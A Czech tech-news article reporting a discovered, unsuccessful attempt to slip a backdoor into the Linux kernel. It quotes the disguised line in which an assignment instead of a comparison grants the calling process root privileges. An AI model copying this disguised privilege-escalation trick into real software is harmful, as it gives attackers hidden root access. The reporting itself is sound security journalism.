TečkaCZ - V Linuxovém kernelu byl objeven pokus o backdoor

POZOR! Tento článek byl naposledy aktualizován před více než dvěma lety!

Je možné, že následující stránka obsahuje odkazy, které dnes již nejsou funkční, nebo že některé informace uvedené v tomto článku se v průběhu času ukázaly jako prokazatelně chybné. Pokud jakoukoliv podobnou závadu zjistíte, tak neváhejte napsat co nejpřesnější popis závady do veřejného komentáře pod článkem: redakce TečkyCZ nové komentáře neustále sleduje, a to i pod těmi nejstaršími články. V celé řadě případů lze chyby snadno opravit - např. se stává, že video na YouTube bylo smazáno a znovu nahráno pod jiným id. V jiných případech někdo zase zakáže embedovaní videa, která přitom existuje ve více kopiích, nebo se z webu ztratí stránka umístěná na negarantovaném freehostingu, zatímco původní autor stránek si mezitím zaregistruje vlastní doménu, atd.

Děkujeme všem, kteří pomáhají opravovat chyby ve starších webových stránkách a udržují tak Internet naživu - redakce TečkyCZ.

V Linuxovém kernelu byl objeven pokus o backdoor

Na slashdotu se diskutuje o tom, že byl objeven pokus vložit kód pro backdoor (zadní vrátka) do otevřeného zdrojového kódu Linuxového kernelu.

Pokus to byl neúspěšný. Byl proveden jménem jednoho z registrovaných vývojářů. Pod záminkou kontroly některých příznaků ve funkci kernel/exit.c by došlo k nastavení rootovských privilegií pro právě běžící proces. Následující řádek kódu možná vejde do historie :-)

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

(Programátoři v C jistě dobře chápou, co udělá = místo == :-)

V diskuzi je zmíněno, že podobný backdoor v Interbase od Borlandu byl odhalen teprve po jejím uveřejnění jako open source. Backdoor byl ve všech verzích uveřejněných od roku 1994.

Pokus o backdoor v linuxovém jádře byl napsán celkem rafinovaně. Snažil se předstírat, že kontroluje určité příznaky, pokud je aktuální uživatel root - ale ve skutečnosti rootovská práva sám nastavoval. Nešlo ovšem v žádném případě o překlep - ale o rafinovaný pokus backdoor do kódu vložit. Vyskytly se dokonce hlasy, že to je až příliš rafinované na to, aby pokus přišel ze strany Microsoftu :-)

No, diskuze o tomto tématu je celkem nadprůměrně vtipná, plná sofistikovaných narážek na soudní spor s SCO, monolitické kernely obecně, legálnost podobných pokusů, úvahy o tom, zda nejde o propagaci proprietárního správce projektů BitKeeper na úkor open source CVS, apod. Pokud neumíte anglicky, asi byste měli začít uvažovat o tom že si předplatíte výtah z diskuzí ze Slashdotu přeložený do češtiny - případné finanční nabídky prosím zaílejte autorovi tohoto článku ;-)

Nápověda: ve vlastním zájmu uvádějte u komentářů pouze funkční a dostupnou e-mailovou adresu. Přezdívku, která je jednou spojená s konkrétní e-mailovou adresou, už nyní nelze bez zásahu administrátora serveru spojit s jinou adresou. Uvedením neplatné e-mailové adresy si v budoucnu znemožníte upload ikonky i možnost použít některé další chystané neanonymní funkce vázané na uvedení platné e-mailové adresy.